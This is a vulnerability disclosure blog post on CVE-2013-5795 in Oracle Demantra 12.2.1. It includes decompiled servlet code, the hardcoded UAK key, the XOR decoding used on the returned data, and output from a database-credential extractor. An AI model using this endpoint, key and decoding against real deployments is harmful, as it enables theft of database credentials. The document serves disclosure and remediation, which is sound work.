Research and Development

The purpose of this post is to present a technical report of the CVE-2013-5795 vulnerability. This bug was found on a bug hunt weekend.

Oracle Demantra is a demand management, sales & operations planning, and trade promotions management solutions, which was acquired by Oracle in 2006. It was curious to note no previously vulnerabilities had been identified, which made this a very interesting candidate for research.

Vulnerable System:

  • Oracle Demantra 12.2.1

Vulnerability Description:

Demantra has a backend function that allows an administrator to retrieve the database instance name and the corresponding credentials.

The URL endpoint for this functionality is located at:

  • /demantra/ServerDetailsServlet

The initial function looks like this:

public void doGet(HttpServletRequest iRequest, HttpServletResponse ioResponse) throws ServletException, IOException {
	PrintWriter outWriter = null;
	String dbDetails = null;
	String msg = null;
	String uak = iRequest.getParameter("UAK");

	if(Logger.isDebugEnabled("appserver.configuration")) MessagesService.getPlatformMassage(40688, new Object[] { getClass().getName(), (new StringBuilder()).append("UAK=").append(uak).toString() });

	if(isValidUAK(uak)) {
		dbDetails = getDBParams();
		dbDetails = CryptographicService.encodeString(dbDetails);
		msg = MessagesService.getPlatformMassage(20176, new Object[] { dbDetails });
		if(Logger.isDebugEnabled("appserver.configuration")) Logger.log("appserver.configuration", msg);
			if(dbDetails != null) {
				outWriter = new PrintWriter(ioResponse.getOutputStream());
		} else {
			ioResponse.sendError(500, msg);
	} else {

We can see that a URL parameter named UAK is required. If the UAK string is correct then the database parameters are read and encrypted.

The getDBParams function looks like this:

private String getDBParams() {
	StringBuilder strBuilder = new StringBuilder();
	String dbName = null;
	String resStr = null;
	String msg = null;
	boolean isValid = true;

	if(JDBCConnectionPool.DBTypeId == 1) dbName = "orc";
		else dbName = CommonProp.DB_NAME;
	if(CommonProp.DB_USER == null || CommonProp.DB_USER.length() == 0) {
		isValid = false;
		msg = translator.translate("com.demantra.applicationServer.servlets.ServerDetailsServlet_1", new Object[] { DB_USER });
	if(CommonProp.DB_PASSWORD == null || CommonProp.DB_PASSWORD.length() == 0) {
		isValid = false;
		msg = translator.translate("com.demantra.applicationServer.servlets.ServerDetailsServlet_1", new Object[] { DB_PASSWORD });
	if(CommonProp.TNS_NAME == null || CommonProp.TNS_NAME.length() == 0) {
		isValid = false;
		msg = translator.translate("com.demantra.applicationServer.servlets.ServerDetailsServlet_1", new Object[] { DB_TNS_NAME });
	if(dbName == null || dbName.length() == 0) {
		isValid = false;
		msg = translator.translate("com.demantra.applicationServer.servlets.ServerDetailsServlet_1", new Object[] { DB_NAME });
	if(JDBCConnectionPool.DBTypeId < 1 || JDBCConnectionPool.DBTypeId > 2) {
		isValid = false;
		msg = translator.translate("com.demantra.applicationServer.servlets.ServerDetailsServlet_1", new Object[] { DB_TYPE });
	if(isValid) {
		resStr = strBuilder.toString();
	return resStr;

Now we need to see how UAK is calculated. The necessary function can be found in the following file:

  • WEB-INF/classes/com/demantra/applicationServer/metaDataObjects/user/SGEUser.class

Suprisingly, the UAK key is calculated statically:

private static String createJavaUAK() {
	String uak = null;

	try {
		String encryptedPassword = new String(CryptographicService.encodeHashStringHex("er6Us8wB", "SHA-256"));
		StringBuffer tmp = new StringBuffer("sge");
		uak = new String(CryptographicService.encodeHashStringHex(tmp.toString(), "SHA-256"));
	} catch(NoSuchAlgorithmException e) {
	return uak;

When calculated, the UAK string will always be:

  • 406EDC5447A3A43551CDBA06535FB6A661F4DC1E56606915AC4E382D204B8DC1

The last step is to analyze how the dbDetails parameter encrypts the data, so that we can decrypt it correctly. The function looks like this:

public static String decodeString(String text) {
	if(text == null) return null;
	String ret = null;
	StringTokenizer strTokenizer = new StringTokenizer(text, ",");
	int size = strTokenizer.countTokens();
	byte bytes[] = new byte[size];
	for(int counter = 0; strTokenizer.hasMoreTokens(); counter++) {
		int a = Integer.parseInt(strTokenizer.nextToken());
		a ^= 0x50;
		bytes[counter] = (byte)a;
	try {
		ret = new String(bytes, "UTF-8");
	} catch(Exception e) {
	return ret;

As we can see the method used to secure the data is a simple XOR algorithm.

Armed with those information it is possible to create a simple database credentials extractor:

$ java getUAK

-=[Oracle Demantra Database Details Retriever ]=-

[+] UAK Key is: 406EDC5447A3A43551CDBA06535FB6A661F4DC1E56606915AC4E382D204B8DC1
[+] Retrieved the following encrypted string:
[+] Decrypted string is:

Together with the authentication bypass this can be exploited unauthenticated as well.


A remote attacker could exploit this issue in combination with other found issues, to extract the database credentials and instance name as an unauthenticated user, otherwise authentication is required.


Please see the Oracle CPU for remediation:

Request to be added to the Portcullis Labs newsletter

We will email you whenever a new tool, or post is added to the site.

Your Name (required)

Your Email (required)